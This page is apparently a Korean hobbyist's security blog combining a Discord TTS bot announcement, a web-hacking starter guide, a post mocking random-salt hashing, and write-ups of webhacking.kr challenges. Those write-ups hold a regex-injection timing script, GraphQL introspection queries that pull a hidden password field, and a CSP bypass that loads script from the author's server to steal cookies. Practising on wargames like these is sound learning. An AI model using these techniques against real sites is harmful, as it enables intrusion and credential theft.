본문 바로가기

람쥐

https://gitlab.com/D0C70R_CH01/doctor_choi_the_reader

 

최박사 | D0C70R_CH01 / 최박사TTS봇 · GitLab

□□□ : 어이 개발자양반 고쳐보쇼

gitlab.com

https://discord.com/oauth2/authorize?client_id=1001200593328676895&permissions=36719617&scope=bot 

 

Discord - A New Way to Chat with Friends & Communities

Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.

discord.com

봇 초대 링크

 

https://gitlab.com/D0C70R_CH01/doctor_choi_the_reader#%EB%AA%85%EB%A0%B9%EC%96%B4

 

최박사 | D0C70R_CH01 / 최박사TTS봇 · GitLab

□□□ : 어이 개발자양반 고쳐보쇼

gitlab.com

디스코드 TTS봇 만들던거 정식 릴리즈 해서 다른 서버에서도 초대링크로 초대하고 쓸수 있어요.

널리널리 퍼뜨려주시고 커피도 많이 사주세요.

 

명령어

기본 접두사 : ?

정보 / info

  • 봇의 정보를 출력합니다.

핑 / ping

  • 지연시간을 출력합니다.

설치 / install

  • 봇이 텍스트를 읽을 텍스트 채널을 지정합니다.
  • 한번 지정한 이후에도 변경이 가능합니다.
  • 지정되어있지 않으면 이하의 명령어가 작동하지 않습니다.

제거 / uninstall

  • 봇이 텍스트를 읽을 텍스트 채널을 제거합니다.

입장 / join

  • 봇을 음성 채널에 입장시킵니다.
  • 음성 채널에 입장한 상태로 실행시켜야 작동합니다.
  • 잠수 채널의 경우 입장하지 않습니다.

퇴장 / leave

  • 봇을 음성 채널에서 퇴장시킵니다.

스킵 / skip

  • 읽던 문구를 즉시 멈춥니다.

커피 / coffee

  • 가난한 최박사에게 커피를 사주세요.

 

 

댓글

https://07001lab.tistory.com/entry/webhackingkr-Challenge-%F0%9F%8D%8A

webhacking.kr Challenge 🍊

orange rfi 터트려야되는거같은데 저게 rfi가 터지는 코드인가? 리뉴얼 첫날부터 계속 쳐다봤는데 모르겠음 최신기술 공부 어디서함?

07001lab.tistory.com

발단

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
  if($_GET['view_version']){ echo phpversion(); exit; } // 7.3.8-1+ubuntu18.04.1+deb.sury.org+1
  if($_GET['ls']){ system("ls -a"); exit; } // to prove for about there is not hidden files in this directory. you dont have to run dirbuster!
  if(isset($_GET['url'])){
    $url = $_GET['url'].".txt";
    if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
    if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
    if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
    if((parse_url($url)['host'!== "webhacking.kr"|| (parse_url($url)['port'!== 10009)) exit("invalid host or port");
    if(parse_url($url)['user'|| parse_url($url)['pass']) exit("you are not orange");
    include $url;
  }
  echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>
cs

귀찮으니 반말
일단 코드를 보자

url을 get으로 받아서 잴 뒤에 .txt 를 단다음

정상적인 URL인지 체크
http://webhacking.kr:10009/ 문자열이 존재하는지 체크
@ # ( ) \$ ` ' " _ { } ? 가 존재하는지 체크
host가 webhacking.kr 이고 port가 10009 인지 체크
user pass가 없는지 체크

한 뒤 url을 가져온다.

cat 버튼을 누르면

이렇게 된다.

dog 버튼을 눌러도

이렇게 된다.

////////////////////////////////////////////////////////////////////////////////////////////////

 7
    if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
cs

7번줄
schema://user:pass@host:port/path?=query=foobar#fragment
이렇게 url스럽게 생겼는지 체크한다.

10
    if((parse_url($url)['host'!== "webhacking.kr"|| (parse_url($url)['port'!== 10009)) exit("invalid host or port");
cs

10번줄
host가 webhacking.kr이고 port가 10009인지 체크한다.
우회하는 방법이야 있지만

 9
    if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
cs

이 나쁜 9번줄이 방해하고 있으니 우회할 방법을 모르겠다.


////////////////////////////////////////////////////////////////////////////////////////////////

근데 궂이 http schema를 써야되나?

1트

data schema를 사용한다.

10번라인때문에 host랑 port를 넣어야 한다.
근데 놀랍게도 작동한다.

ㅖ.

근데 base64 인코딩해서 이상한거 막 집어넣을수 있다.
혹시?

 6
    $url = $_GET['url'].".txt";
cs

6번줄 : ㅋㅋ
뒤에 .txt가 달려서 base64 디코딩을 못한다.

최박사 시즌 172288596호 멸망

////////////////////////////////////////////////////////////////////////////////////////////////

다른 schema 없나?

2트

file://
이라는 친구가 있다.

https://stackoverflow.com/questions/12711584/how-to-specify-a-local-file-within-html-using-the-file-scheme

How to specify a local file within html using the file: scheme?

I'm loading a html file hosted on the OS X built in Apache server, within that file I am linking to another html file in the same directory as follows: <a href="2ndFile.html"><button type="

stackoverflow.com

읽어보자.
안된다.

최박사 시즌 2060630504호 멸망

////////////////////////////////////////////////////////////////////////////////////////////////

얘는 되겠지

3트

nfs://
라는 친구도 있다.

https://datatracker.ietf.org/doc/html/rfc2224

RFC 2224 - NFS URL Scheme

datatracker.ietf.org

귀찮으니 rfc 로 설명 대신하겠다.

?!

ctf 역사와 전통에 따라서 flag는 /flag 에 들어있을거다.

 6
    $url = $_GET['url'].".txt";
cs

6번줄 : ㅋㅋ

/flag 에 들어있댔지 /flag.txt 에 들어있다 하진 않았다 ㅋㅋ

자 그럼 저 라인은 어떻게 우회해야 하나.
몰?루

최박사 시즌 349946786호 멸망

////////////////////////////////////////////////////////////////////////////////////////////////

님들은 이런거 하지 마세요

https://07001lab.tistory.com/entry/%EB%98%91%EA%B0%99%EC%9D%80%EA%B1%B0-2%EB%85%84%EC%A7%B8-%EC%B3%90%EB%8B%A4%EB%B3%B4%EB%82%98

똑같은거 2년째 쳐다보나

https://07001lab.tistory.com/entry/webhackingkr-Challenge-%F0%9F%8D%8A-PHP-%EC%8B%A4%ED%8C%A8 webhacking.kr Challenge 🍊 / PHP / (실패) https://07001lab.tistory.com/entry/webhackingkr-Challenge-%F0%9F%8D%8A webhacking.kr Challenge 🍊 orange rfi 터

07001lab.tistory.com

'연구글 > ????' 카테고리의 다른 글

"정규식 마스터"  (0) 2022.01.03
RegexAmateur  (2) 2021.12.28
최박사가 설명하는 해킹 입문하는법  (0) 2021.12.27
코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
댓글

람쥐

https://gitlab.com/D0C70R_CH01/doctor_choi_the_reader

 

최박사 | D0C70R_CH01 / 최박사TTS봇 · GitLab

□□□: 어이 개발자양반 고쳐보쇼

gitlab.com

최박사, 읽는 자

 

자세한건 README로

댓글

람쥐썬더짤 다떨어저서 안씀.

https://gitlab.com/D0C70R_CH01/doctor_choi_the_reader

 

최박사 | D0C70R_CH01 / 최박사TTS봇 · GitLab

□□□: 어이 개발자양반 고쳐보쇼

gitlab.com

최박사, 읽는 자

 

 

 

README.md 에 최초 사용시 가이드 적어뒀어요.

이해 안되면 저기 적혀있는 트짹이나 디스코드로 연락하면 받을거에요.

이상한거 생겼으면 역시나 트짹 디스코드 아니면 이슈 만들어도 되요.

 

잔버그 굉장히 많을거구요.

원하는 기능 있으면 오픈소스이니 코딩해넣으면 되요.

 

봇 기본 명령어 접두 ? 에요.

./src/index.ts 파일에서 수정할 수 있어요.

const __PREFIX: string = "?";

8번째 줄에 있어요.

 

근데 궂이 이걸 쓰는사람이 있으려나?

암튼 만들었으니 됬죠 뭐

 

https://07001lab.tistory.com/entry/%EC%B5%9C%EB%B0%95%EC%82%AC-%EC%9D%BD%EB%8A%94%EC%9E%90-%EA%B0%80-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8-%EB%90%98%EC%97%88%EC%8A%B5%EB%8B%88%EB%8B%A4

 

"최박사, 읽는자" 가 업데이트 되었습니다.

람쥐 https://gitlab.com/D0C70R_CH01/doctor_choi_the_reader 최박사 | D0C70R_CH01 / 최박사TTS봇 · GitLab □□□: 어이 개발자양반 고쳐보쇼 gitlab.com 최박사, 읽는 자 자세한건 README로

07001lab.tistory.com

 

댓글

"정규식 마스터"

2022. 1. 3. 02:09

https://07001lab.tistory.com/entry/RegexAmateur

 

RegexAmateur

발단 웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요. Regex injection 이라네요. 이쯤 해킹을 했으면 저기 정규식 입력하는곳에 뭔가를 집

07001lab.tistory.com

발단

 

나를... "정규식 마스터" 라고 불러줄수 있겠나...?

 

1
/([0-9|a-z|A-Z|!|@|%23|\\$|%25|%26|\\^|\\*|\\(|\\)|-|_|\\+|=| |\\{|\\}|\\?|`|~|\\\\|\\<|\\>|\\/|\\|:|;|\'|\"]*){1000} |/
cs

같은 기괴한 정규식을 넣으니까 안됬지

나는 무슨짓을 한걸까

 

암튼 풀었으니 됬죠 뭐

'연구글 > ????' 카테고리의 다른 글

webhacking.kr Challenge 🍊 / PHP / (실패)  (0) 2022.12.01
RegexAmateur  (2) 2021.12.28
최박사가 설명하는 해킹 입문하는법  (0) 2021.12.27
코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
댓글

RegexAmateur

2021. 12. 28. 16:27

발단

웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요.
Regex injection 이라네요.

이쯤 해킹을 했으면 저기 정규식 입력하는곳에 뭔가를 집어넣으면 오류가 나와서 $flag를 뿜어낸다거나
아님 정규식에 sql의 sleep 같이 동작하는 무언가가 존재하겠고 그걸 써서 풀라는 문제에요.

정규식 주입이 뭐냐고 하면 저도 잘 모르긴 한데 찾아보니깐
https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regular expression Denial of Service - ReDoS Software Attack | OWASP

Regular expression Denial of Service - ReDoS on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

저런거 있더라고요.

정규식은 동기로 작동하는데 이상한거 집어넣어서 무한루프?스러운게 돌게 해서 다른 작업 못하게 만들어서 뻗게 만드는 그런거같더라고요.

근데 문제는 $flag 를 빼내는거지 문제를 뻗게 만드는게 아니잖아요?

그래서 다시 구글링을 해보던중에

1
2
3
4
5
"secretkey".match(/sa([a-z]*){1000|/);
//return
 
"secretkey".match(/se([a-z]*){1000|/);
//deeeeeeeeeeeeeeeeeeelay
cs

저런걸 발견하게 됬어요.

첫번째줄은 문자열이 sa로 시작하지 않으니 바로 끝나는데,
두번째줄은 se로 시작하니 다음으로 넘어가는데, 그 뒤에 엄청난 연산을 하게 만들어서 강제로 딜레이를 걸어버리는 구조인것 같아요.

근데 또

1
2
"se1cretkey".match(/se([a-z]*){1000|/);
//return
cs

저런걸 집어넣으면
se로 시작하니 다음으로 넘어가는데 그 다음은 숫자고, 소문자 a-z만 찾게 되있으니 숫자를 만나고 바로 끝
으로 작동하는것 같더라고요.
그러니 숫자, 영소문자, 영대문자, 특수문자를 전부 찾게끔 해놓으면 연산량도 늘어나고 저런 예외도 없어지겠죠?

어떻게 풀어야 할지 알았으니 테스트용으로 개인 서버에다가 비슷한 환경을 만들고

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*code by 최박사 | D0C70R_CH01 (https://gitlab.com/D0C70R_CH01) */
 
import * as request from "request";
import consoleStamp from "console-stamp";
//import 끗
 
////////////////////////////////////////////////////////////////////////////////////////////////
 
const __URL: string = "http://개인.서버/regex.php"
//URL
 
const __HEADER: request.Headers = 
{
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"
};
//헤더
 
const __STR1: string = "?regex=";
const __STR2: string = "F";
const __STR3: string = ".......................([0-9|a-z|A-Z|!|@|%23|\\$|%25|%26|\\^|\\*|\\(|\\)|-|_|\\+|=| |\\{|\\}|\\?|`|~|\\\\|\\<|\\>|\\/|\\|:|;|\'|\"]*){1000} |";
 
const __KEYWORD: Array<string> = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0','!','@','#','\\$','%','\\^','&','\\*','\\(','\\)','_','-','\\+','=','\\|','\\',' ','\{','\}','\/','\\<','\\>','\\\\','\'','\"'];
 
////////////////////////////////////////////////////////////////////////////////////////////////
 
var _cs = consoleStamp(console, {pattern: "[HH:MM:ss.l]"});
 
var startTime: number;
var endTime: number;
var rate: number = 0;
var k: string;
var opt: request.CoreOptions;
 
function floop(i: number): void
{
    if(i == __KEYWORD.length)
    {
        console.log();
        console.log(k + " : " + rate + "ms 소요");
        return;
    }
 
    opt = 
    {
        headers: __HEADER
    };
 
    startTime = Date.now();
    request.get(__URL + __STR1 + encodeURIComponent(__STR2 + __KEYWORD[i] + __STR3), opt, function(e: any, res: request.Response, body: any): void
    {
        endTime = Date.now();
        
        if((endTime - startTime) > rate)
        {
            rate = endTime - startTime;
            k = __KEYWORD[i];
        }
 
        console.log(__KEYWORD[i] + " : " + (endTime - startTime) + "ms 소요");
 
        floop(++i);
    });
}
 
floop(0);
 
// console.log(__URL + __STR1 + encodeURIComponent(__STR2 + __KEYWORD[0] + __STR3));
cs

자동화용 스크립트도 만들고
개인서버에서 잘 돌아가고 FLAG도 잘 뽑아내는걸 확인했어요.

그리고 멸망했어요.
원격에서는 9번째까지는 잘 뽑아내다가 10번째부터 안나오더라고요. 뭔가 내가 모르는 무언가가 있나보죠 뭐.

그렇게 최박사의 웹케알 랭킹에 이름 다시 올리기는 오늘도 실패하고 말았어요.
살려주세요.

https://07001lab.tistory.com/entry/%EC%A0%95%EA%B7%9C%EC%8B%9D-%EB%A7%88%EC%8A%A4%ED%84%B0

"정규식 마스터"

https://07001lab.tistory.com/entry/RegexAmateur RegexAmateur 발단 웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요. Regex injection 이라네요. 이쯤..

07001lab.tistory.com

댓글

네 최박사에요.

 

리뉴얼 웹케알 롸업을 더 쓰자니 안그래도 웹케알 랭킹에서 이름 없어졌는데

롸업 더 쓰자니 영영 랭킹에 못들어갈것 같아서 이런거나 쓸게요.

 

전에 몇번 연락처와 함께 해킹 알려주세요. 하고 찾아오는 사람들이 있더라고요.

전부 현생이 바빠서 대답 못해드렸는데 계속 이 블로그 보고있다면 이거 읽어보세요.

 

근데 막상 쓰자고 하니 전 웹해킹에 포렌식 조금 만지는 사람인지라.

웹해킹 기준으로 설명을 하자면요.

 

보통 웹해킹 하려면 HTML이랑 JS를 알아야 한다고 하잖아요?

알아야 하는건 맞는데 뭔가를 막 만들고 그럴정도로 배울 필요는 없어요.

저도 웹페이지 만들라고 하면 못만들어요.

 

어느정도 알면 되느냐?

 

언어의 특성을 알고 대충 읽을수 있으면 되요.

이짤에서 잘못된점을 찾을수 있으면 JS의 특성을 이해했다고 할 수 있는거에요.

 

거기에다가 PHP같은 서버사이드 언어도 읽을수 있어야 하고,

DB 쿼리도 짤줄 알아야 하고,

근데 만들어 보면 읽는 능력도 같이 늘어나니깐 뭐 상관없으려나요? 암튼

 

거기에다가 간단한 스크립트 언어 Python 같은거 코딩할 수 있으면 많이 도움이 될거에요.

자동화 스크립트 만들일이 좀 많을수 있거든요.

 

그리고 해커처럼 생각을 해야되요.

 

마땅한 표현이 생각이 안나서 이렇게 표현을 하는데 어떤거냐 하면요.

어느 은퇴한 프로그래머가 술집을 차렸어요.
술집의 이름은 foo bar라고 하기로 했어요.

술집의 문을 열기 전에 친구를 불러서 메뉴를 검증받기로 했어요.
친구가 들어와서는 맥주를 시켜봤어요. 맥주 두잔도 시켜봤어요.
맥주 0잔도 시켜보고, 맥주 -1잔도 시켜봤어요. 머ㅗㅎㄹㅇㅁ너ㅗ도 시켜보고, 고양이도 시켜봤지만
별 문제가 없는걸 확인하자 흡족한 표정을 지으며 손님을 받기 시작했어요.

그렇게 첫 손님이 들어왔고, 손님이 말했어요.
"여기 화장실이 어디에 있어요?"
술집은 불길에 휩싸였고 모두 죽어버렸답니다.

저런거라고 할까요?

저런식으로 버그가 터지고 취약점이 되고 개발자가 야근을 하게 되는거에요.

아닌가?

 

아무튼 사용자가 직접 조작할 수 있는 부분에 대해서는 전부 확인을 해봐야 해요.

혹시 아나요? 거기서 취약점이 터지게 될지~

 

대충 저런 능력들을 키우면 도움이 될거고요.

 

웹프록시 사용법을 알아둬야 해요.

Fiddler나 Burp Suite 같은거요.

 

브라우저랑 웹서버 사이의 통신을 가로챌 일이 굉장히 많을거에요.

 

언어부분은 따로 공부해야 하는게 맞는데 사고력이랑 툴 쓰는법같은건 직접 구르면서 익히면 되는거라서

어느정도 언어에 대한 자신감이 붙었다 싶으면

경험치 먹으러 suninatas나 webhacking.kr 같은 워게임에 머리 박아보자고요.

못풀겠다 싶으면 롸업도 찾아보고 하면서 푸는게 목적이 아니라 경험치 먹는걸 목적으로 말이에요.

 

3줄요약

1. 코드 읽을수 있을만큼 언어공부를 하자

2. 간단한 스크립트 만들기나 툴같은거 쓰는법을 익히자

3. 경험치를 먹자

 

빼먹은거 있으면 덧글로 적어줘요.

'연구글 > ????' 카테고리의 다른 글

"정규식 마스터"  (0) 2022.01.03
RegexAmateur  (2) 2021.12.28
코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
댓글

4번 문제에요.

배점은 150점이에요.

Board

Hello world :)

Hell world :(

대충 이렇게 생겼어요.

html을 뜯어보면 script 가 있는데

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function getQueryVar(variable) {
    var query = window.location.search.substring(1);
    var vars = query.split('&');
    for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split('=');
        if (decodeURIComponent(pair[0]) == variable) {
            return decodeURIComponent(pair[1]);
        }
    }
}
if(!getQueryVar("no")){
  q = `query{
    view{
      no,
      subject
    }
  }`;
  xhr = new XMLHttpRequest();
  xhr.open("GET""/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
  xhr.send();
  res = JSON.parse(xhr.response);
  for(i=0;i<res.data.view.length;i++){
    board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
  }
}
else{
  q = `query{
    view{
      no,
      subject,
      content
    }
  }`;
  xhr = new XMLHttpRequest();
  xhr.open("GET""/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
  xhr.send();
  res = JSON.parse(xhr.response);
  v = res.data.view;
  try{
    parsed = v.find(v => v.no==getQueryVar("no"));
    board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
  }
  catch{
    board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
  }
}
 
cs

view.php 에다가 쿼리를 날리네요.

그걸 fiddler로 따서

그대로 get 를 날려보면

이런게 나오네요.

그러니 빈 쿼리를 날려보면?

에러가 떠요.

대충 GraphQL 이라네요.

암튼 GraphQL의 information_schema.tables 처럼 작동하는 쿼리인

query{__schema{types{name}}}

를 날려보면?

{"name":"User_d51e7f78cbb219316e0b7cfe1a64540a"},

이제 필드 이름을 알아내기 위해

query{__type(name:"User_d51e7f78cbb219316e0b7cfe1a64540a"){name,fields{name}}}

를 날려보면?

{"name":"passwd_e31db968948082b92e60411dd15a25cd"}

그런데 작동을 Board로 질의를 안하고 view로 질의를 해야만 작동하는것처럼

User어쩌구로 질의를 할수 없으니

 

 

눈치껏 Query 의 필드 이름을 따보면?

 

 

{"name":"login_51b48f6f7e6947fba0a88a7147d54152"}

 

마지막으로

query{login_51b48f6f7e6947fba0a88a7147d54152{passwd_e31db968948082b92e60411dd15a25cd}}

를 날려보면?

{"passwd_e31db968948082b92e60411dd15a25cd":"FLAG{□□□□□□□□□□□□□□□□□□□□□□□□□□□□

 

□□□

 

□□□□□□□□

'연구글 > webhacking.kr_renewal' 카테고리의 다른 글

webhacking.kr Challenge BABY / HTML5  (0) 2021.11.02
댓글

2번 문제에요.

배점은 100점이에요.

you can inject anything

 

foo

[Error Report]

 

그렇다네요.

중간에 script.js 가 있는데

이렇게 생겼어요.

대충 [Error Report] 를 띄우는거같네요.

Is there any error at this websie?

report to admin!

admin will check immediately.

[Error Report] 는 이렇게 생겼어요.

일단 아무 태그나 넣어보면

작동은 하는데

script 태그를 넣으면

들어는 가지만

차단되요.

csp가 걸려있네요. 랜덤nonce가 걸려있어서 /script.js 만 작동하게 되어있는 구조네요.

근데 /script.js 즉 상대경로이니 내 서버에 쿠키값을 빼낼 수 있는 스크립트를 만들어 놓고

base 태그를 이용해서 http://내서버/script.js 로 작동하게 하면?

내 서버의 로그에

flag=FLAG{□□□□□□□□□□□□□□

 

□□□

 

□□□□□□□□□

'연구글 > webhacking.kr_renewal' 카테고리의 다른 글

webhacking.kr Challenge NotSQL / DB  (0) 2021.11.05
댓글

 

발단

갑자기 해시끼리 비교를 어떻게 하냐고 묻더라고요.
당연한걸 묻길래 당연하게 대답을 해줬더니
salt가 랜덤이래요.
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

MITM 막는다고 저런다는데
저러면 확실하게 평문이 뭔지 숨길수 있어요.
근데 서버도 평문이 뭔지 모른다는거에요.

doNotDoThis.js
0.00MB

코드에요.
평문끼리 비교
클라 평문 - 서버 해시
클라 해시 - 서버 평문
클라 해시 - 서버 해시
클라 해시(고정 소금) - 서버 해시(고정 소금)
클라 해시(랜덤 소금) - 서버 해시(랜덤 소금)
순이에요.
결과는 다들 알겠죠?

주작 없이 마지막줄 true 띄우고 디스코드 dm으로 인증하면 커피 사드려요.

MITM 당하는게 싫다면 HTTPS를 쓰거나
난독화로 꼬아서 'ㅅㅂ 이게뭐야' 소리가 나오게 하거나
보안장비를 사서 달면 되겠죠?

???? : 난 이렇게 안짜는데요?
아님 말고요.

+
시나리오가 어떻게 되냐면

1. 가입할때 랜덤소금으로 해싱해서 DB에 박힘
2. 클라에서 랜덤솔트로 해싱해서 전송
3. 서버에서 랜덤솔트 / 랜덤솔트 비교해서 로그인 시도
4. 로그인 실패

a. 랜덤솔트로 해싱되서 전송되는 정보를 중간에서 탈취
b. 해시크랙 해서 평문 확보
c. 서버의 DB에 박혀있는 해시의 소금이 뭔지 알아야 로그인을 하지 싯팔

인거에요.

'연구글 > ????' 카테고리의 다른 글

RegexAmateur  (2) 2021.12.28
최박사가 설명하는 해킹 입문하는법  (0) 2021.12.27
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
SQL Injection 필터 우회 정리글  (0) 2020.08.25
댓글